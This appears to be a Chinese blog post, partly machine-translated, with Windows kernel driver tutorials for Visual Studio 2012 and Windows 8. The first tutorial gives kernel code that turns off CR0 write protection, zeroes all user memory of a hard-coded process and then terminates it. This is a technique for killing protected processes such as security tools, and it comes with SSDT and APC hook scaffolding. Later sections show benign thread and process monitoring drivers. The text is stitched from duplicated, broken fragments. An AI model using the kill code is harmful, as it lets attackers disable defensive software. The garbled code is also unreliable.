Visual studio11与Windows8带来格外不同的新体验

1.启动Vs11

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现内存填0杀进程，请见代码分析

      void WPOFF()
{
    __asm {   //去掉内存保护
        cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
    }
}

void WPON()
{
    __asm {   //恢复内存保护
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
    }
}

//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////

#ifdef __cplusplus
}
#endif

#endif

NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
   PRKAPC Apc,
   PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
    );

BOOLEAN
fake_KeInsertQueueApc(IN PKAPC Apc,
                 IN PVOID SystemArgument1,
                 IN PVOID SystemArgument2,
                 IN KPRIORITY PriorityBoost);

BOOLEAN
Proxy_KeInsertQueueApc(IN PKAPC Apc,
                 IN PVOID SystemArgument1,
                 IN PVOID SystemArgument2,
                 IN KPRIORITY PriorityBoost);

ULONG g_uCr0;

void WPOFF()
{
    ULONG uAttr;

    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
}

VOID WPON()
{
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢復原有 CR0 屬性
        mov cr0, eax;
        pop eax;
    };
}
#include <ntddk.h>
    #include"ntifs.h"

typedef unsigned long DWORD;
PHYSICAL_ADDRESS    g_PhysicalPage;

void WPOFF()
{
    __asm {   //去掉内存保护
        cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
    }
}

void WPON()
{
    __asm {   //恢复内存保护
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
    }
}

VOID DestroyProcess(DWORD eproc)
{
   DWORD                VirtualAddr;
   PHYSICAL_ADDRESS    physical_addr;
   DWORD                AddrTmp;
   PVOID                ProcessHandle;

   KeAttachProcess( (PEPROCESS)eproc );
   for ( VirtualAddr = 0x1000; VirtualAddr < *(DWORD*)MmSystemRangeStart; VirtualAddr+=0x1000)
   {
       // 跳过不再内存里的
       physical_addr = MmGetPhysicalAddress( (PVOID)VirtualAddr);
       if ( physical_addr.HighPart > g_PhysicalPage.HighPart )
           continue;
       if ( physical_addr.HighPart == g_PhysicalPage.HighPart &&
            physical_addr.LowPart >= g_PhysicalPage.LowPart   )
           continue;
       if ( (physical_addr.HighPart | physical_addr.LowPart) == 0 )
           continue;
       AddrTmp = (DWORD)MmGetVirtualForPhysical( physical_addr);
       if ( AddrTmp != VirtualAddr)
           continue;
       WPOFF();
       RtlZeroMemory( (PVOID)VirtualAddr, 0x1000);
       WPON();
   }
   KeDetachProcess();

   if ( ObOpenObjectByPointer( (PVOID)eproc, 0, NULL, 0, NULL, KernelMode, &ProcessHandle) != STATUS_SUCCESS)
       return;
   ZwTerminateProcess( (HANDLE)ProcessHandle, STATUS_SUCCESS);
   ZwClose( (HANDLE)ProcessHandle );
   return;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
   DbgPrint("My Driver UnLoad!");
}
//================================================================================================
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    SYSTEM_BASIC_INFORMATION BasicInfo;
    ULONG ReturnedLength;
    PEPROCESS eproc;

  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;

  ZwQuerySystemInformation( SystemBasicInformation, &BasicInfo,
                            sizeof(SYSTEM_BASIC_INFORMATION), &ReturnedLength);

   __asm mov eax,BasicInfo.PhysicalPageSize;
   __asm mul BasicInfo.NumberOfPhysicalPages;
   __asm mov g_PhysicalPage.HighPart, edx;
   __asm mov g_PhysicalPage.LowPart, eax;

    PsLookupProcessByProcessId((PVOID)1068,&eproc);
  DestroyProcess((DWORD)eproc);
  return STATUS_SUCCESS;
}
//================================================================================================

#include "pe.h"

#ifndef GLOBAL_NATIVE_API_DEF_SUDAMI
#define GLOBAL_NATIVE_API_DEF_SUDAMI

#ifdef __cplusplus
extern "C" {
#endif

////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////

typedef long NTSTATUS, *PNTSTATUS;

typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef int BOOL;
typedef BYTE BOOLEAN;

typedef CCHAR KPROCESSOR_MODE;

#ifndef  LOWORD
#define LOWORD(l)           ((unsigned short)(unsigned int)(l))
#endif

#ifndef HIWORD
#define HIWORD(l)           ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))
#endif

// 定义ioctl相关的，用于R3和R0间的通信
#ifndef MAKELONG
#define MAKELONG(a, b) ((LONG) (((WORD) (a)) | ((DWORD) ((WORD) (b))) << 16))
#endif

#define MY_DEVICE_TYPE       0x0000AA71   // 这地方可以自己改
#define DRIVER_IO(code)  CTL_CODE (MY_DEVICE_TYPE, code, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

/**********************************************************

#define NT_DEVICE_NAME              L"\\Device\\sKillTimeProtected"
#define DOS_DEVICE_NAME             L"\\DosDevices\\sKillTimeProtected"

//                                                                              --

#ifndef  ANSI_STRING
typedef struct _STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PCHAR  Buffer;
} ANSI_STRING, *PANSI_STRING;
#endif

#ifndef  UNICODE_STRING
typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#endif

/* SSDT */
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int    *ServiceTableBase;
    unsigned int    *ServiceCounterTableBase;
    unsigned int    NumberOfServices;
    unsigned char   *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

typedef struct ServiceDescriptorShadowEntry {
    unsigned int    *Win32kTableBase;
    unsigned int    *Win32kCounterTableBase;
    unsigned int    NumberofWin32kServices;
    unsigned char   *Win32kParamTableBase;
} ServiceDescriptorTableShadowEntry_t, *PServiceDescriptorTableShadowEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t    KeServiceDescriptorTable;
PServiceDescriptorTableShadowEntry_t                    KeServiceDescriptorTableShadow;

struct _SYSTEM_THREADS
{
    LARGE_INTEGER       KernelTime;
    LARGE_INTEGER       UserTime;
    LARGE_INTEGER       CreateTime;
    ULONG               WaitTime;
    PVOID               StartAddress;
    CLIENT_ID           ClientIs;
    KPRIORITY           Priority;
    KPRIORITY           BasePriority;
    ULONG               ContextSwitchCount;
    ULONG               ThreadState;
    KWAIT_REASON        WaitReason;
};

struct _SYSTEM_PROCESSES
{
    ULONG               NextEntryDelta;
    ULONG               ThreadCount;
    ULONG               Reserved[6];
    LARGE_INTEGER       CreateTime;
    LARGE_INTEGER       UserTime;
    LARGE_INTEGER       KernelTime;
    UNICODE_STRING      ProcessName;
    KPRIORITY           BasePriority;
    ULONG               ProcessId;
    ULONG               InheritedFromProcessId;
    ULONG               HandleCount;
    ULONG               Reserved2[2];
    VM_COUNTERS         VmCounters;
    IO_COUNTERS         IoCounters; //windows 2000 only
    struct _SYSTEM_THREADS      Threads[1];
};

// PROCESS_BASIC_INFORMATION
#ifdef  PROCESS_BASIC_INFORMATION
#undef  PROCESS_BASIC_INFORMATION
typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS        ExitStatus;
    ULONG           PebBaseAddress;
    ULONG_PTR       AffinityMask;
    LONG            BasePriority;
    ULONG_PTR       UniqueProcessId;
    ULONG_PTR       InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
#endif

// SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
     USHORT UniqueProcessId;
     USHORT CreatorBackTraceIndex;
     UCHAR ObjectTypeIndex;
     UCHAR HandleAttributes;
     USHORT HandleValue;   // 句柄
     PVOID Object;         // 若HANDLE类型为线程,则它是ETHREAD结构
     ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
     ULONG NumberOfHandles;
     SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

// SYSTEM_MODULE_INFORMATION
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG   Reserved[2];
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  Unknown;
    USHORT  LoadCount;
    USHORT  ModuleNameOffset;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct {
    ULONG   dwNumberOfModules;
    SYSTEM_MODULE_INFORMATION   smi;
} MODULES, *PMODULES;

// SYSTEM_BASIC_INFORMATION
typedef struct _SYSTEM_BASIC_INFORMATION {
    ULONG Unknown;                  //Always contains zero
    ULONG MaximumIncrement;         //一个时钟的计量单位
    ULONG PhysicalPageSize;         //一个内存页的大小
    ULONG NumberOfPhysicalPages;    //系统管理着多少个页
    ULONG LowestPhysicalPage;       //低端内存页
    ULONG HighestPhysicalPage;      //高端内存页
    ULONG AllocationGranularity;
    ULONG LowestUserAddress;        //地端用户地址
    ULONG HighestUserAddress;       //高端用户地址
    ULONG ActiveProcessors;         //激活的处理器
    UCHAR NumberProcessors;         //有多少个处理器
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;

// SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,  // 11
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,  // 0x10 -- 16
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemUnused1,
    SystemPerformanceTraceInformation,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemUnused3,
    SystemUnused4,
    SystemUnused5,
    SystemUnused6,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation
} SYSTEM_INFORMATION_CLASS;

#ifndef  SECTION_INHERIT
typedef enum _SECTION_INHERIT {
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT;
#endif

#ifndef LUID
typedef struct _LUID {
    DWORD LowPart;
    LONG  HighPart;
} LUID, *PLUID;
#endif

#ifndef LARGE_INTEGER
typedef union _LARGE_INTEGER {
    struct {
        ULONG LowPart;
        LONG HighPart;
    };
    struct {
        ULONG LowPart;
        LONG HighPart;
    } u;
    LONGLONG QuadPart;
} LARGE_INTEGER, *PLARGE_INTEGER;
#endif

#ifndef TIME_FIELDS
typedef struct _TIME_FIELDS {

  USHORT                  Year;
  USHORT                  Month;
  USHORT                  Day;
  USHORT                  Hour;
  USHORT                  Minute;
  USHORT                  Second;
  USHORT                  Milliseconds;
  USHORT                  Weekday;

} TIME_FIELDS, *PTIME_FIELDS;
#endif

NTSTATUS
NTAPI
ZwQuerySystemInformation(
    DWORD    SystemInformationClass,
    PVOID    SystemInformation,
    ULONG    SystemInformationLength,
    PULONG    ReturnLength
    );

NTSYSAPI
NTSTATUS
NTAPI
NtOpenFile(
    OUT PHANDLE FileHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG ShareAccess,
    IN ULONG OpenOptions
    );

NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
     PUNICODE_STRING DestinationString,
     PCWSTR SourceString
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
     OUT PHANDLE SectionHandle,
     IN ACCESS_MASK DesiredAccess,
     IN POBJECT_ATTRIBUTES objectAttributes
     );

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
     IN HANDLE SectionHandle,
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN ULONG CommitSize,
     IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
     IN OUT PULONG ViewSize,
     IN SECTION_INHERIT InheritDisposition,
     IN ULONG AllocationType,
     IN ULONG Protect
     );

NTSYSAPI
NTSTATUS
NTAPI
NtCreateSection(
    PHANDLE  SectionHandle,
    ACCESS_MASK  DesiredAccess,
    POBJECT_ATTRIBUTES  ObjectAttributes,
    PLARGE_INTEGER  MaximumSize OPTIONAL,
    ULONG  SectionPageProtection,
    ULONG  AllocationAttributes,
    HANDLE  FileHandle
    );

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
     IN HANDLE ProcessHandle,
     IN PVOID BaseAddress
     );

NTSYSAPI
NTSTATUS
NTAPI
NtReadFile(
    IN HANDLE FileHandle,
    IN HANDLE Event OPTIONAL,
    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    IN PVOID ApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    OUT PVOID Buffer,
    IN ULONG Length,
    IN PLARGE_INTEGER ByteOffset OPTIONAL,
    IN PULONG Key OPTIONAL
    );

NTSYSAPI
VOID
NTAPI
RtlTimeToTimeFields(
  IN PLARGE_INTEGER       Time,
  OUT PTIME_FIELDS        TimeFields
  );

NTSYSAPI
BOOLEAN
NTAPI
RtlTimeFieldsToTime(
  IN PTIME_FIELDS         TimeFields,
  OUT PLARGE_INTEGER      Time
  );

/*
VOID
NTAPI
KeSetSystemTime(
  IN PLARGE_INTEGER NewTime,
  OUT PLARGE_INTEGER OldTime,
  IN BOOLEAN FixInterruptTime,
  IN PLARGE_INTEGER HalTime OPTIONAL
  );
*/

NTSTATUS
NTAPI
NtQuerySystemTime (
  OUT PLARGE_INTEGER SystemTime
  );

// 写保护的开&关
void WPOFF()
{
    __asm {   //去掉内存保护
        cli
        mov  eax,cr0
        and  eax,not 10000h
        mov  cr0,eax
    }
}

void WPON()
{
    __asm {   //恢复内存保护
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
    }
}

//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////

#ifdef __cplusplus
}
#endif

#endif

投票地址：

http://vote.blog.csdn.net/item/blogstar/yincheng01

投票赠送《visual C++2010开发权威指南》电子稿

下载地址如下

http://download.csdn.net/detail/yincheng01/4861090

                                                                              --  yincheng

In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
  1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
  2. "GDI Driver", display and print the necessary GDI functions.
  3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.

Visual studio2012 Windows8 bring new experience exceptionally different

1.Start Vs2012

2.Seen everywhere driven development template

3.Select a drive mode, there are two types of kernel mode and user mode driver

4 Create a driver, KMDF DriverMVP

We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package

Insert the following code to create a thread ring0 layer drive monitoring, see Code Analysis

      #include "ThreadMon.h"
#include "../inc/ioctls.h"

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//

PDEVICE_OBJECT  g_pDeviceObject;

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//

NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT       DriverObject,
    IN PUNICODE_STRING      RegistryPath
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    UNICODE_STRING      ntDeviceName;
    UNICODE_STRING      dosDeviceName;
    UNICODE_STRING      ThreadEventString;
    PDEVICE_EXTENSION   deviceExtension;
    PDEVICE_OBJECT      deviceObject = NULL;

    KdPrint(("[ThreadMon] DriverEntry: %wZ\n", RegistryPath));

    //
    // 创建设备对象
    //
    RtlInitUnicodeString(&ntDeviceName, THREADMON_DEVICE_NAME_W);

    Status = IoCreateDevice(
                        DriverObject,
                        sizeof(DEVICE_EXTENSION),       // DeviceExtensionSize
                        &ntDeviceName,                  // DeviceName
                        FILE_DEVICE_THREADMON,          // DeviceType
                        0,                              // DeviceCharacteristics
                        TRUE,                           // Exclusive
                        &deviceObject                   // [OUT]
                        );

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ThreadMon] IoCreateDevice Error Code = 0x%X\n", Status));

        return Status;
    }

    //
    // 设置扩展结构
    //
    deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;

    //
    // Set up synchronization objects, state info,, etc.
    //
    deviceObject->Flags |= DO_BUFFERED_IO;

    //
    // 创建符号链接
    //
    RtlInitUnicodeString(&dosDeviceName, THREADMON_DOS_DEVICE_NAME_W);

    Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ThreadMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));

        IoDeleteDevice(deviceObject);

        return Status;
    }

    //
    // 分发IRP
    //
    DriverObject->MajorFunction[IRP_MJ_CREATE]           = ThreadMonDispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]            = ThreadMonDispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]   = ThreadMonDispatchDeviceControl;
    DriverObject->DriverUnload                           = ThreadMonUnload;

    //
    // 保存设备对象指针
    //
    g_pDeviceObject = deviceObject;

    //
    // 创建事件对象与应用层通信
    //
    RtlInitUnicodeString(&ThreadEventString, EVENT_NAME);

    deviceExtension->ThreadEvent = IoCreateNotificationEvent(&ThreadEventString, &deviceExtension->ThreadHandle);
    KeClearEvent(deviceExtension->ThreadEvent);          // 非受信状态

    //
    // 设置回调例程
    //
    Status = PsSetCreateThreadNotifyRoutine(ThreadCallback);

    return Status;
}

NTSTATUS
ThreadMonDispatchCreate(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ThreadMon] IRP_MJ_CREATE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ThreadMonDispatchClose(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ThreadMon] IRP_MJ_CLOSE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ThreadMonDispatchDeviceControl(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    PIO_STACK_LOCATION  irpStack;
    PDEVICE_EXTENSION   deviceExtension;
    ULONG               inBufLength, outBufLength;
    ULONG               ioControlCode;
    PCALLBACK_INFO      pCallbackInfo;

    // 获取当前设备栈
    irpStack = IoGetCurrentIrpStackLocation(Irp);
    deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;

    // 提取信息
    pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
    inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    // 处理不同的IOCTL
    switch (ioControlCode)
    {
    case IOCTL_THREAD_MON:
        {
            KdPrint(("[ThreadMon] IOCTL: 0x%X", ioControlCode));

            if (outBufLength >= sizeof(PCALLBACK_INFO))
            {
                pCallbackInfo->ProcessId = deviceExtension->ProcessId;
                pCallbackInfo->ThreadId = deviceExtension->ThreadId;
                pCallbackInfo->Create = deviceExtension->Create;

                Irp->IoStatus.Information = outBufLength;
            }
            break;
        }

    default:
        {
            Status = STATUS_INVALID_PARAMETER;
            Irp->IoStatus.Information = 0;

            KdPrint(("[ThreadMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
                    ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
                    IoGetFunctionCodeFromCtlCode(ioControlCode)));

            break;
        }
    }

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

VOID
ThreadMonUnload(
    IN PDRIVER_OBJECT       DriverObject
)
{
    UNICODE_STRING dosDeviceName;

    //
    // Free any resources
    //

    // 卸载回调例程
    PsRemoveCreateThreadNotifyRoutine(ThreadCallback);

    //
    // Delete the symbolic link
    //

    RtlInitUnicodeString(&dosDeviceName, THREADMON_DEVICE_NAME_W);

    IoDeleteSymbolicLink(&dosDeviceName);

    //
    // Delete the device object
    //

    IoDeleteDevice(DriverObject->DeviceObject);

    KdPrint(("[ThreadMon] Unloaded"));
}

VOID
ThreadCallback(
    IN HANDLE               ProcessId,          // 进程ID
    IN HANDLE               ThreadId,           // 线程ID
    IN BOOLEAN              Create              // 创建还是终止
)
{
    PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;

    deviceExtension->ProcessId = ProcessId;
    deviceExtension->ThreadId = ThreadId;
    deviceExtension->Create = Create;

    // 触发事件，通知应用程序
    KeSetEvent(deviceExtension->ThreadEvent, 0, FALSE);
    KeClearEvent(deviceExtension->ThreadEvent);
}

//
/////////////////////////////////////////////////////////////////////////

ring3 layer following the calling code

      #include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"

#define SYMBOL_LINK "\\\\.\\ThreadMon"

int main()
{
    CALLBACK_INFO cbkinfo, cbktemp = {0};

    // 打开驱动设备对象
    HANDLE hDriver = ::CreateFile(
                                SYMBOL_LINK,
                                GENERIC_READ | GENERIC_WRITE,
                                0,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("打开驱动设备对象失败！\n");

        return -1;
    }

    // 打开内核事件对象
    HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);

    while (::WaitForSingleObject(hProcessEvent, INFINITE))
    {
        DWORD   dwRet;
        BOOL    bRet;

//      printf("收到事件通知！\n");
        bRet = ::DeviceIoControl(
                                hDriver,
                                IOCTL_THREAD_MON,
                                NULL,
                                0,
                                &cbkinfo,
                                sizeof(cbkinfo),
                                &dwRet,
                                NULL);

        if (bRet)
        {
            if (cbkinfo.ProcessId != cbktemp.ProcessId || \
                cbkinfo.ThreadId != cbktemp.ThreadId || \
                cbkinfo.Create != cbktemp.Create)
            {
                if (cbkinfo.Create)
                {
                    printf("有线程被创建，PID = %d，TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
                }
                else
                {
                    printf("有线程被终止，PID = %d，TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
                }

                cbktemp = cbkinfo;
            }
        }
        else
        {
            printf("\n获取进程信息失败！\n");
            break;
        }
    }

    ::CloseHandle(hDriver);

    return 0;
}

In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
  1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
  2. "GDI Driver", display and print the necessary GDI functions.
  3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.

Visual studio2012 Windows8 bring new experience exceptionally different

1.Start Vs2012

2.Seen everywhere driven development template

3.Select a drive mode, there are two types of kernel mode and user mode driver

4 Create a driver, KMDF DriverMVP

We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package

Press F5, select the drive compile

Insert the following code to the kernel process creation

      #include "ProcMon.h"
#include "../inc/ioctls.h"

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//

PDEVICE_OBJECT  g_pDeviceObject;

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//

NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT       DriverObject,
    IN PUNICODE_STRING      RegistryPath
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    UNICODE_STRING      ntDeviceName;
    UNICODE_STRING      dosDeviceName;
    UNICODE_STRING      ProcessEventString;
    PDEVICE_EXTENSION   deviceExtension;
    PDEVICE_OBJECT      deviceObject = NULL;

    KdPrint(("[ProcMon] DriverEntry: %wZ\n", RegistryPath));

    //
    // 创建设备对象
    //
    RtlInitUnicodeString(&ntDeviceName, PROCMON_DEVICE_NAME_W);

    Status = IoCreateDevice(
                        DriverObject,
                        sizeof(DEVICE_EXTENSION),       // DeviceExtensionSize
                        &ntDeviceName,                  // DeviceName
                        FILE_DEVICE_PROCMON,            // DeviceType
                        0,                              // DeviceCharacteristics
                        TRUE,                           // Exclusive
                        &deviceObject                   // [OUT]
                        );

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ProcMon] IoCreateDevice Error Code = 0x%X\n", Status));

        return Status;
    }

    //
    // 设置扩展结构
    //
    deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;

    //
    // Set up synchronization objects, state info,, etc.
    //
    deviceObject->Flags |= DO_BUFFERED_IO;

    //
    // 创建符号链接
    //
    RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);

    Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ProcMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));

        IoDeleteDevice(deviceObject);

        return Status;
    }

    //
    // 分发IRP
    //
    DriverObject->MajorFunction[IRP_MJ_CREATE]           = ProcmonDispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]            = ProcmonDispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]   = ProcmonDispatchDeviceControl;
    DriverObject->DriverUnload                           = ProcmonUnload;

    //
    // 保存设备对象指针
    //
    g_pDeviceObject = deviceObject;

    //
    // 创建事件对象与应用层通信
    //
    RtlInitUnicodeString(&ProcessEventString, EVENT_NAME);

    deviceExtension->ProcessEvent = IoCreateNotificationEvent(&ProcessEventString, &deviceExtension->hProcessHandle);
    KeClearEvent(deviceExtension->ProcessEvent);         // 非受信状态

    //
    // 设置回调例程
    //
    Status = PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);

    return Status;
}

NTSTATUS
ProcmonDispatchCreate(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ProcMon] IRP_MJ_CREATE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ProcmonDispatchClose(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ProcMon] IRP_MJ_CLOSE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

